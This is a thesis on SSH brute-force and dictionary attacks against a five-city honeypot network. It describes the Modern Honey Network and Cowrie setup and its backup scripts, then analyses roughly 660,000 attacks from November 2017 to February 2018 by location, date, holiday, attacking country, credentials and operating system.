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 When designing and implementing a new system, one of the most common misuse 
cases a system administrator or security architect anticipates is the fact that their system will 
be attacked with brute force and dictionary-based methods. These attack vectors are 
commonplace and as such, common defenses have been designed to help mitigate a successful 
attack. However, the common defenses employed are anticipated and mitigated by even the 
most novice of attackers. In order to better understand that nature and evolution of brute-
force and dictionary attacks, research needs to evaluate the progression of the attack vectors 
as well as new variables to identify the risk of systems. The research that follows is designed to 
look at brute force and dictionary-based attacks from a geographical standpoint. Specifically, 
the data gathered will be analyzed to define attack anomalies based on date, time, location, 
operating system, and attacking clients in order to ascertain if such variables are viable attack 
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Chapter I: Introduction 
 
Introduction 
 Brute force and dictionary-based attacks are commonplace for any machine facing the 
wide area network of the Internet. As such, common defense techniques against such attack 
vectors have been developed in order to properly deal with and minimalize the impact they 
may have on a system or process. Instead of looking at the common markers of a brute force or 
dictionary-based attacks, this research would look at the attacks from a geographical 
standpoint in order to better assess the security threats and posture based on system location.  
 The research would utilize two different honeypots on five different servers across the 
globe that measure several data points about the attacker and the attack type. I will detail the 
software, hardware, and services that are going to be required in the methodology portion of 
this paper.  
Problem Statement 
Brute force and Dictionary based attacks are significant in that they are easy to 
implement, hard to avoid, and extremely damaging when successful. The tools and methods to 
avoid these attacks have largely stayed static over the years and are built on common data 
models such as common username and password pairs. A more diverse view of brute force 
attacks is required in order to organically grow with the ever-expanding attack structures of 





Nature and Significance of the Problem 
 We view brute force and dictionary attacks very plainly even though they are one of the 
most common and damaging attack vectors an attacker has within their arsenal. Employed 
defenses take into account failed login attempts, known malicious hosts, and not much more. 
The research being proposed is needed to be able to look at these attacks is a new light. In 
order to see patterns, anomalistic behavior and attack surfaces, we need to view attacks from a 
global perspective. In this research we define several new ways of analyzing these attacks while 
combining the traditional means of analyzing username and password pairs. The data gathered 
will contain several new data points than that of standard brute force research in order to 
define attack anomalies and hotbeds of attack victims.  
Objective of the Project 
 The purposed research would look at Secure Shell (SSH) attack vectors from a 
geographical standpoint in which time, location, SSH client, host OS signatures, and post-
exploitation command strings are used to fingerprint attacks. This research would focus on 
brute force and dictionary-based attacks as they are extremely prevalent and extraordinarily 
damaging if successful. The primary goal of this research is to define if geographic location plays 
a part in a systems overall risk by analyzing common and uncommon attack attributes and the 
variance of those values subject to location. We define several constant variables that will be 
measured across the geographic spectrum in order to analyze brute force and dictionary 





1. Are systems more vulnerable to certain attacks based on geographical location? 
2. Based on location, universal date and times at what point are systems most 
vulnerable to brute force and dictionary-based attacks? 
3. Do attackers use different and varying attack methods based on system location? 
4. What are the most common attack platforms attackers use subject to system 
location?  
Limitations of the Study 
 There are several unique challenges when attempting to obtain a valid dataset within a 
large geographical fingerprint. Firstly, we were only able to cover five different locations 
resulting from VPS availability. As such, data gathered does not fully represent the global 
perspective of brute force and dictionary attacks rather, a limited amount of geography. 
 A subsequent observation is overall VPS cost. It would have been advantageous to not 
only have one server in each of the five geographic locations but, to have two or more in order 
to have a more succinct anomaly comparative analysis technique. That is, if a server in 
Frankfurt, Germany was attacked more in one day than that of other areas in the world, we 
would be able to delineate if it was a singular incident or a more geographical (local area) 
incident. However, this would incur a substantially higher monthly payment and needs to be 




Definition of Terms 
API–(Application Programming Interface)–a set of subroutine definition, protocols, and 
tools designed to interface with a pre-built application or service.  
Attacker–Someone who seeks to breach defenses and exploit common weaknesses in a 
computer system or network. 
Botnet–A network of private computers infected with malicious software and controlled 
as a singular entity without the owners’ knowledge.  
Brute Force Attack–A trial and error password attack method in which an attacker does 
not know the size or contents of a password and iteratively attacks to guess both to derive a 
correct password.   
Dictionary Attack–A trial and error password attack method in which an attacker uses a 
list of common or custom passwords to try and obtain a correct password.  
High Interaction Honeypot–These honeypots are designed vulnerable and involve real 
operating systems and services. Nothing within this environment is virtual or emulated and 
therefore is the riskiest.  
Honey Network–A network of honeypots that report to a centralized system for data 
aggregation.  
Honeypot–An intentionally vulnerable computer system designed to decoy attackers in 
order to log and categorize attack data for research purposes.  
Host–A computer system that is connected to a network.  
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Low Interaction Honeypot–A honeypot server that simply logs the attacks and has no 
direct interaction with an attacker.  
Medium Interaction Honeypot–Offers the ability to interact with the attack by allowing 
successful logins to a virtualized shell however, the shell is usually restricted and has no direct 
interaction with the system itself other than logging activity.  
Modern Honey Network–(MHN) An opensource honeynet framework for management 
and data collection of honeypots. 
System–A computer system and its accompanying peripheral devices such as a 
keyboard, monitor, and mouse.  
SSH–A secure network protocol for operating network services over an unsecure 
network. SSH has a default configuration to run on TCP port 22 however, this can be configured 
to run on any port.  
Tarball–Linux nomenclature term for a tar archive which, is a group of files collected 
together as one utilizing the tar archiving utility.  
Telnet–A network protocol that allows users to login to other computer services. Telnet 
is known to be an insecure method of connection.  
VPS–(Virtual Private Server)–A virtual machine sold as a service by an internet hosting 






The research to be conducted will focus on analyzing brute force and dictionary-based 
attacks from a more non-traditional aspect. Variables such as geographic location, date, time, 
operating system, and attack client will be gathered and analyzed in order to paint a more 
detailed picture of risk potential and risk mitigation techniques. A total of six servers (1 master, 




Chapter II: Background and Review of Literature 
Introduction 
 In this chapter, we look at the common themes among similar research and derive the 
topics and methodology that was undertaken by several different bodies. Sources include 
universities and conference white papers that are all relevant to the topic at hand. Many of the 
themes that were derived from these papers have helped guide the objective methodology that 
will be undertaken and as such, much of that data is listed below.   
Background Related to the Problem 
 The main theme of the research to be conducted is that geographical data may be more 
relevant to attack structures than previously thought. Variables such as national privacy laws, 
overall security posture of nation states, or that some nations may not be able to afford the 
most current and updated systems are possible indicators of a larger attack surface. We do not 
yet understand if this is the case as this has not been researched in a detailed manner.  
Literature Related to the Problem 
Several of the papers and journal articles used to derive current and past research detail 
common indicators of brute force and dictionary attacks. Such as, username and password 
pairs, failed login attempts, and known bad hosts. None of the papers use geography as an 
analytical data point unless they are surmising overall attacks from a specific location, i.e. the 
attacker’s geographic location rather than the systems location. For example, data gathered by 
the Intelligent Network Research Group detailed the percentages of attacks by country during 




Figure 1. Origin country of attacks located by IP address. 
 These data are useful and will most certainly be presented within the final research 
however, it does not look at the correlation of attacks based on location rather, it derives the 
nation responsible for the attack which, in most cases is an obfuscated IP addresses to mask the 
true attacker.  
 Similar research presented during the 2015 International Conference on Advances in 
Computing, Communications, and Informatics (ICACCI) by Andhra University provided more 
insight into their research of brute force and dictionary attacks on Secure Shell (SSH) by 
detailing not only the attacking origin country, which is again based on IP addresses, but it also 
gives a more detailed breakdown of distinct IP addresses and the percent of IP addresses that 
attempted an SSH connection either via brute force or dictionary attack methods detailed in 
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Table 1 (Zemene & Avadhani, 2015). This is very important and useful information for a 
defensive strategist to know and understand. 
Table 1 
SSH Connections Based on Country 
 
 
 A very common theme among this vein of research is the dissipation of username and 
password pairs. This can help a system administrator or IT delegate in charge of network 
security by detailing common attack structures via password and user name lists. It helps by 
allowing the administrators avoid using common usernames and passwords that are most likely 
going to be used to attack a system. A research paper conducted by researchers at Aristotle 
University in Thessaloniki, Greece found that there were 2,844 distinct usernames and 8,556 
distinct passwords used during their 4 months of research (Koniaris, Papadimitriou, & 
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Nicopolitidis, 2013). The researchers detailed not only the distinct usernames and passwords 
used but offered a detailed analysis of the most common combinations listed in Table 2 
(Koniaris et al., 2013, p. 68).  
Table 2 
Credential Combinations Observed in SSH Attacks 
 
 
 Of the many different publications and reports researching the specificities about brute 
force and dictionary attack methods only a few detailed a summary of commands and attacker 
interaction within a medium interaction or high interaction honeypots. After completion of this 
research, a detailed report which derives the most common successful post-attack strategies 
used by attackers will be a critical portion of the final research data. Similar to data presented 
at EuroCon 2013 by researchers from Aristotle University, where the researchers detailed a 
small overview of post-exploitation command strings, the research being conducted will display 
not only the command structure and history but also a detailed review of malware, and scripts 




Literature Related to the Methodology 
 The methodologies employed by several research entities have inspired an objective 
and well-planned honeypot integration framework. However, several new technologies and 
open source frameworks are available today that were not present during much of the 
reviewed research and as such, those tools and technologies will be utilized through the 
timeline of this study.  
 
Figure 2. Example honeynet architecture for business or commercial networks.  
 One of the most critical steps in deploying a successful honey network is to define a 
detailed network architecture that incorporates all honeypots and a central logging server in 
the event that a honeypot is compromised and data is wiped. There are two methodologies of 
standing up a honeypot server subject to their use-case. A honeypot can be used for research 
purposes or as a decoy system sitting on a network directing attackers to a fake system and 
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maintaining the network integrity of business-critical infrastructure as detailed in Figure 2 
(Najafabadi, Khoshgoftaar, Calvert, & Kemp, 2015). 
In most cases, the use-case was designed for research purposes and as such, the 
following will focus on system and network set-up based on research functions as we are not 
deploying this on a network segment that also has production or critical systems attached.  
A study that was conducted within the Department of Computer Science at Clarkson 
University, New York utilized three different experimental set-ups in order to delineate the 
attack differences subject to network types. They set-up SSH honeypots on networks that were 
small business oriented, residential, and a university campus network (Owens & Matthews, 
2015). They were then able to determine specificities based on network type and define the 
attack differences which are detailed in Figure 3 (Owens & Matthews, 2015).  
 




The research conducted by Clarkson University took a different approach to studying 
brute force attacks by analyzing risk and uniqueness based on network topology. Research like 
this is what has inspired a study of geographical relevance to brute-force and dictionary-based 
attacks.  
 Much of the research has been predicated on the use of a common SSH medium 
interaction honeypot named Kippo. This honeypot is outdated and can easily be fingerprinted 
by a knowledgeable attacker. Much of the research conducted using the Kippo honeypot was 
done so after changing configurations and updating the Kippo code base in order to make it less 
obvious to attackers that the system is, in fact, a honeypot. Researchers within the Department 
of Informatics at Aristotle University detailed two flaws prevalent within Kippo that would act 
as a signature to malicious users and therefore flagging the system as a honeypot (Koniaris et 
al., 2013). Considering the design flaws of Kippo, a new, more modern honeypot needs to be 
defined in order to conduct research in a more technologically advanced attack environment. 
After reviewing several research papers and scholarly articles, the honeypot that will be used 
will be a medium interaction honeypot named Cowrie.  
Summary 
 Much of the research that has been conducted on brute-force and dictionary attacks are 
designed to extrapolate common username and password pairs, malicious IP addresses, and 
scan vs. login attempt percentage. This research has laid the groundwork for an objective and 
stable methodology that will be utilized throughout the continuation of this study. Details 
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pertaining to network design, log analysis, and backups have been helpful in designing the 





Chapter III: Methodology 
Introduction 
 In this chapter, a detailed low-level view of the design, tools, and mechanisms will be 
defined in order to understand how the study was approached. An overview of the honeynet 
architecture as well as a detailed account of the data aggregation and backup strategies will be 
outlined. Lastly, a look at developed software and scripts that were used throughout the 
research. 
Design of the Study 
 The study will look at brute-force and dictionary-based attacks on SSH services from a 
geographical standpoint. Six servers will be designed to create a functional honeynet utilizing a 
VPS (Virtual Private Server) provider named Digital Ocean to host each system. Each server will 
be running and instance of Ubuntu 16.04 LTS Linux distribution. There will be one master server 
and five slave servers as shown in Figure 4. The master server, which will be referred to has the 
MHN server from this point forward, will run the Modern Honey Network (MHN) services and 
be the main access point in which all honeypots are deployed, managed, and all data is 
aggregated. The five slave servers will be dispersed to five different geographic locations 
(Bangalore, India; Frankfurt, Germany; London, England; Singapore; San Francisco, California). 
Each of the slave servers will run a combination of a Cowrie and a p0f honeypots which are 




Figure 4. MHN network topology. 
 The location of the honeypots was largely dictated by the availability of Digital Ocean, 
our VPS. The locations that were chosen were decided upon due to their broad range of 
geography to each other. The locations allow for a broad global view to analyze brute force and 
dictionary-based attacks from a geographical standpoint.  
 The Modern Honey Network is an open source framework for quickly and efficiently 
deploying and managing honeypots. MHN was designed and is maintained by ThreatStream 
(Trost, 2014). The installation is initiated by obtaining the most recent version of MHN from the 
official GitHub repository and following the detailed installation documentation (ThreatStream, 
2017). The MHN services are installed and deployed on the master server and will be the main 
backup entity for all honeypot data. The MHN control panel is accessed through a web-based 
application utilizing an NGINX web server. Since the design of all 6 servers is to have them face 
the internet, the control panel is accessible anywhere by typing the IP addresses into your 
internet browser of choice. Within this control panel we can easily see the last 24 hours of 
attacks, an interactive map of current and ongoing attacks, and easily deploy and manage 
honeypots as shown by Figures 5 and 6.  
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Figure 5 shows the landing page for the MHN server. Figure 6 details the honeypot 
selection screen in which an administrator can locate the type of honeypot subject to system 
architecture, verify the BASH script for deployment, and copy the deployment command to 
effectively deploy the honeypot. MHN employs a MongoDB instance to store all honeypot 
records in JavaScript Object Notation (JSON) formatting. MongoDB is a highly dynamic NoSQL 
database that can easily be integrated within data analysis platforms such as the Elasticsearch, 
Logstash, Kibana (ELK) stack and or Splunk. However, we will not be utilizing these analytical 
tools during this research as we will be conducting static data analysis rather than dynamic.  
 




Figure 6. Deployment of a Cowrie honeypot. 
 In anticipation of attacks on the MHN server, several configuration changes need to be 
implemented in order to retain data integrity and system uptime. After the MHN services have 
successfully been installed, a new user (josh) with sudo rights is created and the SSH 
configuration is edited to disable root login and to disallow password-based authentication. A 
single elliptical curve digital signature algorithm (ECDSA) key pair is generated with the NIST-
P384 curve and will be used for single user authentication. A log monitoring program called 
logwatch will also be employed to easily check many of the critical Linux logs on a daily basis.  
 The Cowrie honeypot is a medium interaction SSH and Telnet honeypot that is designed 
to log brute-force attacks, dictionary attacks and post-exploitation shell interaction performed 
by the attacker (Micheloosterhof, 2017). The Cowrie honeypot will be implemented using a 
BASH script generated by the MHN server. During the installation processes, Cowrie changes 
the default SSH port to TCP 2222 and then implements a virtual python based SSH session on 
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TCP port 22. As such, all management of honeypots via SSH will bind via TCP port 2222. The 
deployment process will be conducted in the same manner throughout all five of the slave 
servers for continuity and data integrity. After successful installation of the honeypots, the 
MHN server will display a new sensor confirming the proper installation as seen in Figure 7.  
 
Figure 7. Honeypot sensor deployment confirmation. 
 The p0f honeypot is a passive fingerprinting honeypot that is designed to analyze the 
structure of a TCP/IP packet stream to determine the operating system, kernel versions, Linux 
distribution type, link type, max transmission unit, client type, client uptime, client frequency, 
and client IP address. The data gathered from the p0f honeypot can be used to gain further 
insight into the attacker’s signature as well as the attack type employed.  
 After the successful installation and configuration of all systems, a weekly review and 
backup will be implemented on the MHN server utilizing a mix of BASH scripts and python 
programs. All scripts and program code will be hosted using a private GitHub repository located 
30 
 
at https://github.com/MNFaust/MHN-Thesis. The MongoDB backups will also reside on the 
GitHub repository to ensure safe offsite backups.  
Data Collection 
 Data collected from the honeypots will reside on the MHN server within the Mongo 
database. The data is stored in JSON format however; we can specify several forms of output 
via command line tools for the MongoDB instance. In this case, we will dump all MongoDB 
records weekly in both a JSON and CSV (Comma separated values) format. Date and Time 
metrics are all stored in Coordinated Universal Time (UTC) using the local system networking 
time protocol (NTP).  
 The MongoDB has a similar structure to relational databases in that there can be many 
different databases with many different tables. The structure of the honeynet database can be 
seen in Figure 8. The primary data that is critical to our geographical attack analysis is stored 
within the session and hpfeeds tables. These will be the two primary tables listed during the 
analytical portion of this study as they contain all of the attack specifics.   
 
 
Figure 8. MongoDB honeynet database structure. 
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 Data collection is an iterative process that will take several steps each week to ensure 
data viability and integrity. Figure 9 shows the processes flow of the data aggregation and 
archival process of attack data where attacks from each singular honeypot would be aggregated 
on the MHN server within the MongoDB instance.   
 
 
Figure 9. Data aggregation and archival processes. 
 
 Data dumping and backup will be an automated process using a custom BASH script. 
The BASH script will call the MongoDB API functions and dump data to a user defined directory. 
Once the data is dumped, the script will create a tarball for efficiency and archival purposes as 
shown in Figure 10. A common naming convention (<user_defined>_<date>_Dump.tar.gz) has 









Figure 10. MongoDB export database BASH script. 
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The Cowrie honeypot also stores malware samples in the /opt/cowrie/dl directory. 
The data held within the directory will also be backed up and archived within a tarball bi-weekly 
with a custom bash script which can be seen at Figure 11. The data from the dl directory will 
not be stored on GitHub as the size of each systems dl directory can vary and deviate from 
GitHub’s file size policy. 
 
Figure 11. Cowrie malware sample backup script. 
Tools and Techniques 
 The analytical portion of the study has been conducted on a bi-weekly basis in order to 
delineate any data anomalies and or find interesting session data. The tools that will be used to 
break down the MongoDB JSON data dumps are: 
1. Tableau Desktop–A software package that is capable of tearing down complex and 
highly dynamic data for business intelligence and analytics. 
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2. Custom Developed Python Software–Several Python programs have been developed 
in order to analyze the significant amount of JSON data. These programs have been 
designed to: 
a. Enumerate geographic locations given attacker IP address. 
b. Parse only necessary data from a local MongoDB instance for a more 
comprehensive analysis.  
c. Data formatting and cleanup. 
3. Custom Developed BASH scripts–interact directly with the MongoDB on a Linux host. 
Key attributes of these scripts are: 
a. Backup and archive data on a weekly basis.  
b. Check the status of all honeypots. 
c. Check the overall status of the MHN server. 
d. Mass restart of all honeypots if necessary. 
e. Delete all data within MongoDB Linux instance for cleaner and more expeditious 
export and backup procedures.  
 A pre-defined methodological process for data analytics was needed in order to mitigate 
bias and human error. A well-defined analytical process was employed throughout the entirety 
of this study that ensured data validity as shown in Figure 12. All data was collected and stored 
within the MHN servers MongoDB instance however, all analytical processes were conducted 




Figure 12. Data analysis process flow. 
 The Windows host contains a clone of the GitHub repository that is updated as soon as 
any new data was pushed. A MongoDB instance was initiated on the Windows host and the 
JSON data that was backed up was loaded onto the new MongoDB instance. All Python 
development was conducted on the Windows host and tested via Windows command line 
environments. 
 Automation of honeypot status checks are significantly important as the data validity 
relies on each honeypot having high availability. In order to verify each honeypot was in fact up 
and responding to requests, a simple yet effective BASH script was developed that pinged each 
host in the background. If the result of the ping was not successful, an exception would be 
thrown, handled, and then a notification sent to the administrator. This check ran daily.  
 Just as significant to the data integrity and validity as honeypot uptime is the MHN 
server uptime. Several key services run on the MHN server in order to properly handle mass 
communication between the honeynet. Some of the critical services include data aggregation, 
geolocation, and a NGINX web server. A daily check was needed in order to properly verify that 
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the MHN server, and its required services, were operational. In order to create a more 
streamlined and responsible checking process, a BASH script was developed to verify system 




# MHN Status 
# By: Joshua Faust 
#====================================== 
 
if [ $(whoami) != "root" ] 
 then 
 echo "" 
 echo "You must be root to check the supervosrctl 
Status." 











Figure 13. MHN server status check script. 
 Throughout the duration of the study, data backup and archiving were one of the most 
critical undertakings. One apparent issue observed within the first few weeks of the study was 
the overwhelming amount of data being generated. This was anticipated as the MHN server 
was designed to handle the traffic and data aggregation however, when it came to archiving the 
data and saving backups, it became objective that a new methodology needed to be 
implemented as system resources were peaked and performance extremely deprecated. The 
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degradation was seen during minimal to moderate data analysis. In order to address this issue, 
a backup, archival, and erasing policy was integrated within the study. This method effectively 
erased the database each week after a successful backup was completed. This increased 
performance of the MHN server and decreased overhead during analysis. Deletion of the data 




# Delete All MongoDB data for a clean start 
# By: Joshua Faust 
#============================================ 
 
echo -n "Are you sure you want to Delete all database data? (Y|N): "; 
read answer 
 
if [ $answer == "Y" ] || [ $answer == "y" ] 
 then 
mongo mnemosyne --eval "db.session.remove({})" 
mongo mnemosyne --eval "db.metadata.remove({})" 
mongo mnemosyne --eval "db.counts.remove({})" 
mongo mnemosyne --eval "db.file.remove({})" 
mongo mnemosyne --eval "db.hpfeed.remove({})" 
mongo mnemosyne --eval "db.dork.remove({})" 
mongo mnemosyne --eval "db.url.remove({})" 
mongo mnemosyne --eval "db.daily_stats.remove({})" 
else 








 Data was broken down every two weeks and analyzed on several different plains in 
order to better understand the nature and difference that system geolocation has on its attack 
posture.  
 In order to expeditiously evaluate data, specifically geographical data, we needed a 
method that can easily attribute geographical location via IP address. There are many different 
methods and API’s that have the capability however, we need to have a method that works 
with large datasets. The best solution is to have a local database of IP to country name. In this 
case, we opted to use an open source database by the name of GeoLite which, we will utilize 
within several python programs, of which Figure 15 displays one of the programs that parses 
overall cowrie attack counts and attributes country to IP address.  
 In order to properly utilize this database, we are using the pygeoip API. The Python 
program uses several different API’s to properly obtain, parse, and recategorize the significant 
amount of data resident within the MongoDB. The primary reason for parsing MongoDB 
attributes is to narrow down relevant and important data. This helps alleviate processing 
overhead during bulk analytics. The MongoDB is running on local Windows machine in order to 

















The Python program queries the MongoDB for several values such as record id (primary 
key), timestamp, honeypot IP, honeypot location, attacker IP, and attacker location. 
Hardware and Software Environment 
 Below is a detailed review of hardware and software requirements for this research. I 
will begin with system specifics that look directly at how each system in configured from a 
hardware perspective. 
1. MHN Server: 
a. OS: Ubuntu 16.04 LTS (64-bit) 
b. CPU: 2 Cores 
c. RAM: 2GB 
d. Cost: $20/mo 
e. Server Location: New York, USA 
2. Honeypot Servers: 
a. OS: Ubuntu 16.04 LTS (64-bit) 
b. CPU: 1 Core 
c. RAM: 512MB 
d. Cost: $5/mo 
3. Server Locations: Singapore, London, Frankfurt, Bangalore, and San Francisco 
Analysis System: A system to analyze the significant amount of data is required. 
During preliminary tests of data backup and running an un-archival process to start 
basic static analysis, one week of data gathering is the equivalent of 600MB of data. 
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Therefore, a system with a non-stock graphics module and high processing power is 
required to compile large quantities of relationships between large data sets.  
a. OS: Windows 10 (64 bit) 
b. CPU: AMD FX-8350 or Intel I7 6700 or 7700 
c. RAM: 16GB+ of DDR4 2133+ 
d. Graphics Card: AMD RX 480 or RX 580 
 In order to streamline many of the necessary functions that are required to complete 
this research, several pieces of software are to be utilized. Primarily, a need for a centralized 
management platform that incorporates SSH services, SFTP (Secure File Transport Protocol), 
SCP (Secure Copy), key management, and password management is needed to effectively 
manage the honeynet. Below is a listing of tools and software that were used to facilitate in 
these needs.  
1. Royal TS–Comprehensive remote management solution that incorporates, SSH, RDP 
(Remote Desktop Protocol), SFTP, SCP, Key management, and password 
management in one platform. Files and connections are encrypted with a key type 
of the users choosing.  
2. WinSCP–A windows based secure copy program designed to facilitate the 
connection to and transfer of data from Linux to Windows platforms.  




4. PuttyGen–A proprietary tool for Putty that can create key pairs (RSA, ECDSA) and or 
take existing key pairs and edit them to create acceptable Putty keys.  
5. MongoDB–A NoSQL JSON based database that runs on both Linux and Windows. All 
data aggregation will be completed within a Linux system, exported, and analyzed 
on a windows system.  
6. Python 3.6–Primarily used with the PyMongo API in order to interface with the 
MongoDB instance and create custom data models and representations.  
Summary 
 Several key technologies are being leveraged in order to create a honeynet environment 
that is both robust and trustworthy. Using open source products and services such as the 
Modern Honeynet Framework and MongoDB allows for a more dynamic deployment and 
management of honeypots. In-house developed software and scripts are also being 
incorporated to effectively deal with multiple services, parse the significant amount of data 






Chapter IV: Data Presentation and Analysis 
Introduction 
 In this section, a detailed analysis will be presented that aims to present relevant 
information that directly correlates with the studies original questions. We first look at the 
overall system attack posture based on geographical location and detail the results from a 
global perspective in that we are not analyzing any singular honeypot rather, all of them as one. 
Secondly, we will look at each of the honeypots unique metrics in efforts to delineate any 
exclusive attributes resident within that honeypot. Examples of some of the measured 
attributes are attacking country, anomalistic events, common attacking credentials, and 
attacker operating systems. 
Data Presentation 
 
 The data that follows will be broken down into several different sections. First, we will 
look at the attack data from a honeypot agnostic standpoint. After the overview, the data will 
be presented by singular honeypot location in order to break down distinct data points that are 
only present or unique to said honeypot.  
Analytical overview. In order to get a true appreciation of the attack dynamics and 
quantities that were captured over the period of 3 months, we’ll first look at the global dataset 
in concerns with overall attacks.  
Attack totals. From November 10, 2017 to February 3, 2018 there were a combined 
total of 660,632 attacks on all honeypots. This data is aggregated from the Cowrie honeypot 
data as the p0f data is not attack data rather, scanning and fingerprinting data. The disparity 
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between the number of attacks are significant in that Singapore contains double the amount of 
attacks than that of any other location as shows in Figure 16.  
 
Figure 16. Total attacks by honeypot. 
Date and time analysis. A significant aspect of this research is measuring attacks subject 
to date and time. We saw brute force and dictionary-based attacks as a business model. That is, 
we see attacks during normal working days and hours more frequently than on the weekends. 
We will analyze each honeypot independently and breakdown a more detailed analysis of date 
and times later in this paper. We analyzed the attack structure subject to total attacks and the 
month/day of the attacks as seen in Figure 17. We can start to see a pattern of attacks with 
some severe anomalistic behavior during the end of November.  
 It is worth nothing that there is data to suggest that in some locations, specifically 
Bangalore and San Francisco, attacks tend to rise during Saturday’s and Sundays. We believe 
these weekend upticks in overall attacks are largely due to scripted and bot-based attack 





Figure 17. Total attacks by month and day. 
 Our assertion that brute force and dictionary attacks are very much adhering to a 
structured business model is further supported when we start to analyze constant global 
holidays such as Christmas and New Year’s. This is by no means an exhaustive list of holidays 
that may impact the global attack posture as it is a view into the significant disparity in overall 
attacks subject to holidays. Other holidays may present a much larger disparity subject to 
holiday popularity and geographic location. 
 During Christmas and New Year’s, we see a sharp decrease is overall attacks starting 
with a few days leading up to the holiday and ramping back up a few days after the holiday. 
Figure 18 details the sweeping difference in total attacks leading up to Christmas as well as the 
days after showing an overall decrease in attacks leading up to and during Christmas 2017. 
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Christmas Eve (December 24th, 2017) shows a total of 4,849 attacks making it only 12% of the 
total attacks from December 21st to December 27th. Christmas day saw a small spike in attacks 
with a total of 5,840 attacks making it 14% of the total attacks from December 21st to 
December 27th. Table 3 provides a breakdown of daily totals for the days leading up to and after 
Christmas 2017 and details that attack disparity resident during the holiday.   
Table 3 
Holiday Attack Totals–Christmas 
 
 2017  
 December  
Honeypot Location 21 22 23 24 25 26 27 TOTALS 
Bangalore 560 787 930 949 1605 1405 1207 7443 
Frankfurt 858 975 1288 1299 898 1311 1395 8024 
London 478 637 573 489 378 640 437 3632 
San Francisco 349 201 435 322 329 400 226 2262 
Singapore 3363 3799 2346 1790 2630 2480 4391 20799 
TOTALS 
5608 6399 5572 4849 5840 6236 7656 42160 





Figure 18. Level of attacks based on Christmas 2017. 
 In analyzing New Years, we can see a steep decrease in overall attacks across all 
honeypots. The decrease is even more drastic than that during Christmas. Table 4 displays the 
total number of attacks from December 30, 2017 to January 2, 2018. We can easily see the 
overwhelming decrease in attacks as New Year’s Eve is only responsible for 19% of the total 
attacks the New Year’s Day 18%. Figure 19 gives graphical representation of the overall attack 




Holiday Attack Totals–New Years 
Honeypot Location December 30, 2017 December 31, 2017 January 1, 2018 January 2, 2018 totals 
Bangalore 1366 1269 858 489 3982 
Frankfurt 1010 1182 1894 2279 6365 
London 1437 530 601 1865 4433 
San Francisco 2301 709 363 753 4126 
Singapore 2078 1347 1188 3097 7710 
Totals 8192 5037 4904 8483 26616 




Figure 19. Level of attack based on New Year’s 2018. 
Attacker analysis. When analyzing the attacks subject to attacker location, we find that 
Vietnam leads in overall attacks with 188,766 total attacks over the 3 months as detailed in 
Table 5. Vietnam made up 29% of the total attacks over the 3-month study. During the infancy 
of the data gathering process, we anticipated large numbers of attacks from nations who are 
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known as hostile cyber actors and as such, we expected to see an overwhelming amount of 
attacks coming from Russia, China, and the United States. However, Vietnam and France lead in 
overall attacks as they’re responsible for 43% of all attacks.  
Table 5 
Total Attacks by Country 
 
 Although, the total numbers show that Vietnam and France where the most aggressive, 
this is not a fair representative sample as we will see when analyzing attacks subject to 
honeypot location. We start to see that specific attacking countries narrow their attack surface 
to specific honeypots in a significant disproportion, as we suspected.   
 In contrast to the large attack patterns produced by Vietnam and France, Figure 20 
details a heat map of all attacking nations showing that China and the United States still held a 
large portion of the overall attacks. China made up 11% of the total attacks whereas the United 




Figure 20. Attacker heat map. 
Credentials analysis. A common attribute in brute force and dictionary-based attack 
research is analyzing the username and passwords that are being passed. Attacks will utilize 
common and default username password pairs in order to log into a machine with little to no 
effort. As such, we collected common username and password pairs throughout the entirety of 
this study. Our goal is not to educate the reader on common username and password pairs but, 
to detail the differences of username and password pairs subject to honeypot location. 
 Usernames and passwords used in brute force and dictionary attack attempts were a 
common variable used to measure any distinct differences which can be seen in Figure 21. 
These are not the top username or password pairs rather the top in each singular category. We 
can see that root is by far the most common username used during login attempts and the 
password 123456 is the top password used. Each color in the graphic represents the number of 
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times that username or password was attempted subject to the honeypot location (i.e., 
Frankfurt, Bangalore, London, San Francisco, and Singapore). At this time, however, we are 
simply looking at the data from a sum perspective.  
 
Figure 21. Top usernames and passwords. 
 Figure 22 gives a more in-depth look of the common username and password pairs that 
were used during login attempts in order to determine unique pairs. The most prevalent being 
root, Null, which was attempted a total 22,971 times. The password is not literally Null. The 
attacker has simply attempted a login as root with no password provided. A subsequently 
interesting username password pair, and the second most common, was root,!. It is interesting 
in that throughout much of this research, the exclamation mark as a password was not initially 
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seen or anticipated. However, as we can see in Figure 21, this password was passed nearly as 
much as the password 123456. The root,! Pair was attempted a total of 13,883 times across all 
honeypots.  
 
Figure 22. Top username-password pairs. 
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Operating system analysis. Attempting to recognize new variables that can be used in 
identifying potential risk to a system is invaluable when building assets to protect an 
organization. Operating systems signatures can be used to identify systems that have a 
potential threat limit higher than a set standard. As such, measuring versions of operating 
systems attacking all honeypots was a variable worth analyzing.  
 As seen in Figure 23, the most common operating systems subject to the honeypots 
location are Linux 3.11 and Windows 7/8. The color indicates the honeypots location and the 
overall height signifies the operating system prevalence. Preliminary results are as expected, 
Linux is by far the most used attacking platform. Surprisingly windows 7 or 8 was the second 
most common attacking platform. This is surprising considering the number of attack tools 




Figure 23. Top operating systems. 
 To get a better picture of the attack totals subject to location, the data that follows will 
be broken down by the honeypot location. Analytical totals will be categorized not only by 
location but also by date and time to get a better understanding of peak dates and hours. When 
data is aggregated it is stored with a Coordinated Universal Timestamp (UTC). Within the 
analytical portion broken down by honeypot location, timestamps have been adjusted to local 





Figure 24. UTC to local time conversion. 
 Other data points such as attacker operating systems, SSH clients, and post-exploitation 
command strings will be detailed in the information that follows.  
Singapore. Of the 660,632 attacks, Singapore has more than double the total amount of 
any other honeypot holding 40% of all attacks as shown in Figure 25. Singapore was attacked a 
total of 265,200 times over the course of 3 months making it the largest overall target during 




Figure 25. Cowrie attack percentage totals by honeypot. 
Attacker analysis. As we have seen, Singapore is the most impacted honeypot of all five 
holding the highest overall totals. In analyzing who impacted Singapore the most, we compiled 
a list of the most common attackers by country. Table 6 offers a high-level view of the top 
attackers that impacted the Singapore honeypot along with the total number of attacks that 
were carried out by that country.  
 Vietnam was responsible for the vast majority of all attacks against Singapore totaling 













Server Name Attacker Country Attack Totals 
Singapore Vietnam 142542 
China 27251 





Russian Federation 4095 






Figure 26 displays a heatmap of the all countries that have attacked Singapore within 
the 3-month period in which the darker the color the more attacks that nation is responsible 
for. The labels both display the name of the nation as well as their attack totals. The darker 










Figure 26. Singapore–top attacker heat map. 
Credentials analysis. Singapore slightly deviated from global credential analysis that 
analyzed all data from all honeypots. The only change was within the password whereas the 
global most common password was 123456, Singapore’s was the exclamation mark (!). Figure 
27 displays the most common passwords (left) and usernames (right). The larger the circle, the 




